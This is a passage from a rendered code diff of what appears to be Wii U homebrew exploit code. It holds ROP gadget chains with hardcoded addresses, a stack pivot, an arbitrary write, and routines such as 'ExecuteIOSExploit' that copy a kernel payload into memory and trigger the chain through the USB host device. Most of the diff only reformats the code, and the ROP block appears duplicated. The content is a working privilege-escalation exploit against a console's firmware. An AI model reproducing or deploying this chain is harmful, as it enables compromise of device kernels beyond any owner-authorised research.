||||
0x0, // 0x1D0
|
||||
0x0, // 0x1D4
|
||||
0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1DC
|
||||
0x0, // 0x1E0
|
||||
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64
|
||||
0x4001, // 0x1E0 on > 0x4000 it flushes all data caches
|
||||
0x0, // 0x1E0
|
||||
0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len)
|
||||
0x0, // 0x1DC
|
||||
0x0, // 0x1E0
|
||||
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
|
||||
ARM_CODE_BASE, // 0x1E8 our code destination address
|
||||
0x0, // 0x1EC
|
||||
0x0, // 0x1F0
|
||||
0x101063db, // 0x1F4 POP {R1,R2,R5,PC}
|
||||
0x0, // 0x1F8
|
||||
sizeof(ios_kernel_bin), // 0x1FC our code size
|
||||
0x0, // 0x200
|
||||
0x10123983, // 0x204 POP {R1,R3,R4,R6,PC}
|
||||
0x00140000, // 0x208 our code source location
|
||||
0x08131D04, // 0x20C KERNEL_MEMCPY address
|
||||
0x0, // 0x210
|
||||
0x0, // 0x214
|
||||
0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot)
|
||||
0x0,
|
||||
0x0,
|
||||
0x101312D0,
|
||||
};
|
||||
|
||||
static const int second_chain[] = {
|
||||
0x10123a9f, // 0x00 POP {R0,R1,R4,PC}
|
||||
CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination
|
||||
0x0, // 0x08
|
||||
0x0, // 0x0C
|
||||
0x101063db, // 0x10 POP {R1,R2,R5,PC}
|
||||
0x00130000, // 0x14 source
|
||||
sizeof(final_chain), // 0x18 length
|
||||
0x0, // 0x1C
|
||||
0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x24
|
||||
0x0, // 0x28
|
||||
0x101236f3, // 0x2C POP {R1-R7,PC}
|
||||
0x0, // 0x30 arg
|
||||
0x101001DC, // 0x34 stackptr
|
||||
0x68, // 0x38 stacksize
|
||||
0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x40
|
||||
0x0, // 0x44
|
||||
0x0, // 0x48
|
||||
0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x50
|
||||
0x0, // 0x54
|
||||
0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x5C
|
||||
0x0, // 0x60
|
||||
IOS_CREATETHREAD, // 0x64
|
||||
0x1, // 0x68 priority
|
||||
0x2, // 0x6C flags
|
||||
0x0, // 0x70
|
||||
0x0, // 0x74
|
||||
0x101063db, // 0x78 POP {R1,R2,R5,PC}
|
||||
0x0, // 0x7C
|
||||
-(0x240 + 0x18 + 0xF000), // 0x80 stack offset
|
||||
0x0, // 0x84
|
||||
0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC}
|
||||
0x0,
|
||||
0x0,
|
||||
0x0,
|
||||
0x00110000 - 0x44, // 0x8C
|
||||
0x00110010, // 0x90
|
||||
0x0, // 0x94
|
||||
0x0, // 0x98
|
||||
0x0, // 0x9C
|
||||
0x0, // 0xA0
|
||||
0x0, // 0xA4
|
||||
0x4, // 0xA8 R11 must equal 4 in order to pivot the stack
|
||||
0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC}
|
||||
0x0,
|
||||
0x0,
|
||||
0x1012EA68, // 0xAC stack pivot
|
||||
0x10123a9f, // 0x00 POP {R0,R1,R4,PC}
|
||||
CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination
|
||||
0x0, // 0x08
|
||||
0x0, // 0x0C
|
||||
0x101063db, // 0x10 POP {R1,R2,R5,PC}
|
||||
0x00130000, // 0x14 source
|
||||
sizeof(final_chain), // 0x18 length
|
||||
0x0, // 0x1C
|
||||
0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x24
|
||||
0x0, // 0x28
|
||||
0x101236f3, // 0x2C POP {R1-R7,PC}
|
||||
0x0, // 0x30 arg
|
||||
0x101001DC, // 0x34 stackptr
|
||||
0x68, // 0x38 stacksize
|
||||
0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x40
|
||||
0x0, // 0x44
|
||||
0x0, // 0x48
|
||||
0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x50
|
||||
0x0, // 0x54
|
||||
0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x5C
|
||||
0x0, // 0x60
|
||||
IOS_CREATETHREAD, // 0x64
|
||||
0x1, // 0x68 priority
|
||||
0x2, // 0x6C flags
|
||||
0x0, // 0x70
|
||||
0x0, // 0x74
|
||||
0x101063db, // 0x78 POP {R1,R2,R5,PC}
|
||||
0x0, // 0x7C
|
||||
-(0x240 + 0x18 + 0xF000), // 0x80 stack offset
|
||||
0x0, // 0x84
|
||||
0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC}
|
||||
0x0,
|
||||
0x0,
|
||||
0x0,
|
||||
0x00110000 - 0x44, // 0x8C
|
||||
0x00110010, // 0x90
|
||||
0x0, // 0x94
|
||||
0x0, // 0x98
|
||||
0x0, // 0x9C
|
||||
0x0, // 0xA0
|
||||
0x0, // 0xA4
|
||||
0x4, // 0xA8 R11 must equal 4 in order to pivot the stack
|
||||
0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC}
|
||||
0x0,
|
||||
0x0,
|
||||
0x1012EA68, // 0xAC stack pivot
|
||||
};
|
||||
|
||||
static void uhs_exploit_init(int dev_uhs_0_handle){
|
||||
|
||||
static void uhs_exploit_init(int dev_uhs_0_handle) {
|
||||
unsigned int coreinit_handle;
|
||||
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
|
||||
|
||||
|
@ -321,14 +318,13 @@ static void uhs_exploit_init(int dev_uhs_0_handle){
|
|||
memcpy((char*)(0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin));
|
||||
|
||||
payload_info_t *payloads = (payload_info_t*)0xF4148000;
|
||||
|
||||
payloads->size = sizeof(ios_usb_bin);
|
||||
memcpy(payloads->data, ios_usb_bin, payloads->size);
|
||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
||||
|
||||
payloads = (payload_info_t*)0xF4160000;
|
||||
payloads->size = sizeof(ios_mcp_bin);
|
||||
memcpy(payloads->data, ios_mcp_bin, payloads->size);
|
||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
||||
|
||||
|
||||
pretend_root_hub[33] = 0x500000;
|
||||
pretend_root_hub[78] = 0;
|
||||
|
@ -337,10 +333,10 @@ static void uhs_exploit_init(int dev_uhs_0_handle){
|
|||
DCStoreRange((void*)0xF4120000, sizeof(second_chain));
|
||||
DCStoreRange((void*)0xF4130000, sizeof(final_chain));
|
||||
DCStoreRange((void*)0xF4140000, sizeof(ios_kernel_bin));
|
||||
DCStoreRange((void*)0xF4148000, ((uint32_t)payloads) - 0xF4148000);
|
||||
DCStoreRange((void*)0xF4148000, ((uint32_t)0xF4180000) - 0xF4148000);
|
||||
}
|
||||
|
||||
static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val){
|
||||
static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val) {
|
||||
unsigned int coreinit_handle;
|
||||
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
|
||||
|
||||
|
@ -361,7 +357,7 @@ static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val){
|
|||
return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
|
||||
}
|
||||
|
||||
int ExecuteIOSExploit(){
|
||||
int ExecuteIOSExploit() {
|
||||
|
||||
unsigned int coreinit_handle;
|
||||
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
|
||||
|
@ -376,8 +372,7 @@ int ExecuteIOSExploit(){
|
|||
|
||||
|
||||
int iosuhaxFd = IOS_Open("/dev/iosuhax", 0);
|
||||
if(iosuhaxFd >= 0)
|
||||
{
|
||||
if(iosuhaxFd >= 0) {
|
||||
int dummy = 0;
|
||||
|
||||
IOS_Ioctl(iosuhaxFd, 0x03, &dummy, sizeof(dummy), &dummy, sizeof(dummy));
|
||||
|
@ -390,7 +385,7 @@ int ExecuteIOSExploit(){
|
|||
|
||||
//! execute exploit
|
||||
int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0);
|
||||
if(dev_uhs_0_handle < 0){
|
||||
if(dev_uhs_0_handle < 0) {
|
||||
return dev_uhs_0_handle;
|
||||
}
|
||||
|
||||
|
|
Loading…
Reference in New Issue
Block a user